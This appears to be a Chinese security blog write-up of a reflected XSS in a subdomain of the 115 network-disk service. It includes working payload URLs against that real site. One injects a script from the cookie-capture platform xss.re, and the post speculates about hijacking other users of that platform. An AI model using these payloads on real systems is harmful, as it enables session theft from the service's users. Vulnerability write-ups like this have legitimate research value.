记一次挖掘115网盘反射型xss，08xss的储存型xss

记一次对115分站简单绕过过滤继续实现xss，08xss平台也中枪！！

115反射型xss url:http://115.qiye.115.com/disk/?ac=select_public_file&ajax=1&pub=

http://115.qiye.115.com/disk/?ac=select_public_file&ajax=1&pub=<script>alert(/xss/)</script>

插入这个代码看

没弹窗我们看看源代码

在这里小伙伴们想到了什么？再来插入一次xss？对的，就是这样！！

看看源代码

===============08开始躺枪=========================

我前些天在08xss平台注册了个账号正好测试下能不能接收cookie

把url换成

http://115.qiye.115.com/disk/?ac=select_public_file&ajax=1&pub=<script>alert(/xss/)</script><scriptsrc=http://xss.re/xxx></script>;

看看源代码吧！

入库就对了！！哇哈哈！！~~

下面属于我的想象

08平台这个xss能不能利用呢？

我想到几点，首先这个平台的项目都是有顺序的，在某网站插入代码

www.xx.com/info.php?id=<script src=http://xss.re/别人的项目代码></script>

也就是说先执行别人的代码然后别人查看这个项目就中招了。

这是我的想象，具体的没怎么测试，这个有待挖掘，这个项目是顺序的，我的是1，下一个别人创建的就是2了，这样利用起来方便，就是不知道能不能执行成功。

==============================================

上面是去年写的

下面是我刚刚猜想的，

既然代码是可以执行的，也就是说插入别人的代码在前面就先弹别人的？

插入http://www.baidu.com/info.php?id=<script scr=08xss.re/13></script><script scr=08xss.re/14></script>

是先执行别人的，但是在08xss平台里面，你先执行别人的代码有用吗？

你执行完之后是不是你的cookie发到别人的xss平台里面？

所以说得先让别人查看他的项目然后劫持到他的coookie，这个也不好利用

具体的你们自己测试吧，我懒得看这种。想多了头疼

记一次挖掘115网盘反射型xss，08xss的储存型xss相关推荐

115网盘linux 下载速度慢,linux vps 上下载115网盘的方法
大多数童鞋买的vps都是只支持linux系统的,因为版权的问题,windows系统的vps价格上面要贵一些.但是,遇到要下载网盘文件时,没有装桌面只有shell的linux vps就表示压力大了,幸好 ...
[115网盘]School Days全音乐集[OP+ED+OST+原声][全320K+全BK]
欢迎 zerokkqq | 查看新帖 | 退出掌机开发者之家 * 客服 * 涂鸦 * 游戏 * 论坛位置:首页 ? 动漫游音乐 ? [115网盘]School Days全音 ...
python爬虫基础教程115_Python解析网页源代码中的115网盘链接实例
本文实例讲述了python解析网页源代码中的115网盘链接的方法.分享给大家供大家参考.具体方法分析如下: 其中的1.txt,是网页http://bbs.pediy.com/showthread.ph ...
115网盘最好的网盘雨林木风出品强烈推荐
网盘用过很多种了,但是都有或多或少的限制,比如有的需要客户端,有的下载速度很慢,有的广告满天飞.之前推荐过联想网盘,无奈不支持分享功能.现在终于找到了一款非常好的网盘--115网盘. 115网络U ...
网盘修复版新增qq支付仿城通网盘115网盘源码下载
网盘修复版新增qq支付仿城通网盘115网盘源码下载这套源码出现的时机,其实挺巧妙的.因为就在今天我还在二开它,谁知道就有朋友放出来了,虽然二开的方向不对.不过还是在这里描述一下吧.本套源码,是需要用户 ...
115网盘里的资源转存百度网盘
百度网盘是很多用户都在使用的网络共享云盘,有用户咨询小编怎么将115网盘里的资源转存到百度网盘呢?百度网盘和115云盘是不能直接转存的,下面就来看看小编带来的转存方法. 把115网盘里的资源转到百度网 ...
Premiere 2.0至Premiere CS5.5高清插件MainConcept（已破解）提供115网盘下载地址
Premiere 2.0至Premiere CS5.5高清插件MainConcept(已破解)提供115网盘下载地址相关搜索: 黑名单, 信息, 下载地址, 安装程序, 115网盘 Premiere ...
不用再为下载而发愁了，提供一款支持115网盘、迅雷、快车、旋风、飞速网盘的专用链接解析出资源的真实地址的软件...
软件介绍:该软件可以将115网盘.迅雷.快车.旋风.飞速网盘的专用链接解析出资源的真实地址,然后就可以直接用IE或者电脑安装的下载软件下载专链的资源了.绿色.轻巧~~~,还可以解决115网盘解析失效的 ...
Android 4.4代码资源115网盘下载！
2015--4--18 天杀的115,和它已经没有爱了,所有资源文件我会全部迁移到百度云盘 http://blog.csdn.net/innost/article/details/43342087 ...

记一次挖掘115网盘反射型xss，08xss的储存型xss

记一次挖掘115网盘反射型xss，08xss的储存型xss相关推荐

最新文章

热门文章